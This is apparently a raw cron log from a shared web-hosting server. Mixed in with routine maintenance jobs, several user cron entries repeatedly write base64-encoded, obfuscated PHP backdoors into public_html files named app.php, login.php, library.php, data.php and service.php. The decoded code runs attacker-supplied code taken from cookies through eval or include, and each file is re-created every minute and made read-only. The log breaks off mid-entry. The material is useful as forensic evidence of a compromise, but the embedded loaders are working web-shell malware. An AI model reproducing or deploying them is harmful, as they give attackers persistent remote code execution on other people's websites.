Jun  7 11:42:01 medusa CROND[12908]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:43:01 medusa CROND[14384]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 11:43:01 medusa CROND[14391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:43:01 medusa CROND[14392]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:43:01 medusa CROND[14393]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:43:01 medusa CROND[14394]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:43:01 medusa CROND[14396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:43:01 medusa CROND[14397]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 11:43:01 medusa CROND[14400]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:43:01 medusa CROND[14401]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:43:01 medusa CROND[14402]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:43:01 medusa CROND[14403]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:43:01 medusa CROND[14404]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Jun  7 11:43:01 medusa CROND[14405]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:43:01 medusa CROND[14407]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:44:01 medusa CROND[15861]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:44:01 medusa CROND[15862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:44:01 medusa CROND[15863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:44:01 medusa CROND[15864]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 11:44:01 medusa CROND[15865]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:44:01 medusa CROND[15866]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:44:01 medusa CROND[15869]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:44:01 medusa CROND[15870]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:44:01 medusa CROND[15871]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:44:01 medusa CROND[15872]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:44:01 medusa CROND[15875]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:44:01 medusa CROND[15876]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:44:01 medusa CROND[15880]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:45:01 medusa CROND[17370]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:45:01 medusa CROND[17372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:45:01 medusa CROND[17382]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 11:45:01 medusa CROND[17390]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 11:45:01 medusa CROND[17391]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 11:45:01 medusa CROND[17393]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkK